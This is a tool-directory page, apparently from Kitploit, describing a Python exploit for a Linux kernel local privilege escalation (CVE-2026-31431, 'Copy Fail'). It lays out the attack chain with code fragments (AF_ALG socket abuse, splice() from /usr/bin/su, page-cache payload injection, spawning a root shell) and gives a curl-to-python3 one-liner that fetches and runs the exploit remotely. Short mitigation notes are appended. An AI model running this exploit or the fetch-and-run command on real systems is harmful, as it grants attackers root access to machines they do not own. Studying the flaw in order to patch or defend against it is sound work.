Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/abhishekhargan/cve-2026-31431
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubabhishekhargan/cve-2026-31431

CVE-2026-31431

Share

Python exploit for Linux kernel local privilege escalation (CVE-2026-31431) using AF_ALG socket state confusion and splice() to achieve arbitrary file write and root access.

View Repository
446 months agoNot yet reviewed

CVE-2026-31431: "Copy Fail" - Linux Kernel Local Privilege Escalation

📢 Disclaimer

This repository is strictly for educational and cybersecurity research purposes. The exploit code is analyzed to understand the underlying vulnerability, facilitate patching, and develop defensive strategies. Do not use this against systems you do not own or have explicit authorization to test.

📝 Overview

"Copy Fail" is a critical Local Privilege Escalation (LPE) vulnerability found in the Linux Kernel. It allows an unprivileged user to gain root access by exploiting a flaw in how the kernel handles memory operations between the file system and the Asynchronous Cryptography API (AF_ALG).

⚙️ How It Works (Technical Deep Dive)

The provided Python exploit leverages a combination of obscure Linux syscalls and interfaces to achieve an arbitrary out-of-bounds (OOB) write in kernel memory, which is then translated into an arbitrary file write on disk.

Here is the step-by-step breakdown of the attack chain:

1. The AF_ALG Interface Initialization

a=s.socket(38, 5, 0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))

The script creates an AF_ALG socket (Family 38). This interface allows user-space applications to offload cryptographic operations to the kernel. It specifically requests an AEAD (Authenticated Encryption with Associated Data) cipher chain combining HMAC-SHA256 and CBC-AES.

2. State Confusion via setsockopt

v(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)

The script manipulates the socket's internal state using setsockopt. The hexadecimal payload and the None argument are carefully crafted to trigger a boundary condition or integer overflow in the kernel's crypto API buffer management. This "fails" the copy operation safely inside the kernel, leaving the socket in an inconsistent, vulnerable state.

3. Zero-Copy Data Transfer with splice()

n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)

This is the core of the exploit. Instead of reading data into user space and writing it back, splice() moves data directly between file descriptors entirely in kernel space. The script opens /usr/bin/su (a SUID root binary) and attempts to splice data from it into the misconfigured AF_ALG socket. Because the socket's state was corrupted in Step 2, the kernel's bounds checking fails during this zero-copy operation.

4. The Payload Injection Loop

e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4

The script unpacks a compressed payload (likely a small shellcode or modified binary blob). It enters a loop, sending this payload 4 bytes at a time into the corrupted socket buffer. Because of the bounds-checking failure, these 4-byte writes land at arbitrary offsets in the kernel's page cache—the exact memory space where /usr/bin/su is loaded.

5. Privilege Escalation

g.system("su")

By overwriting specific instruction pointers or logic checks within the page-cached version of /usr/bin/su, the attacker modifies the binary's behavior. When system("su") is called, it executes the modified SUID binary. The binary runs as root but skips the standard password verification, dropping the attacker directly into a root shell.

6. Exploit

Download and run copyfail.py in your linux system OR use below curl request for quick run

curl https://copy.fail/exp | python3 && su
id

https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e

🎯 Impact

  • Severity: Critical
  • Attack Vector: Local (Requires execution on the target machine)
  • Impact: Full Root Access, Bypass of all file permissions and SELinux/AppArmor profiles.

🛡️ Mitigation & Defense

  1. Patch the Kernel: Apply the latest security patches provided by your Linux distribution (Canonical, Red Hat, Debian, etc.).
  2. Restrict AF_ALG: If cryptographic offloading is not required by your workloads, disable the af_alg kernel module by adding blacklist af_alg to /etc/modprobe.d/blacklist.conf.
  3. Seccomp/AppArmor Profiles: Restrict unprivileged users' ability to use splice(), socket() (specifically family 38), and setsockopt() using strict Seccomp filters.

📚 References

  • https://xint.io/blog/copy-fail-linux-distributions#the-exploit-4
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    871
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    383
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    361
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    305
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools →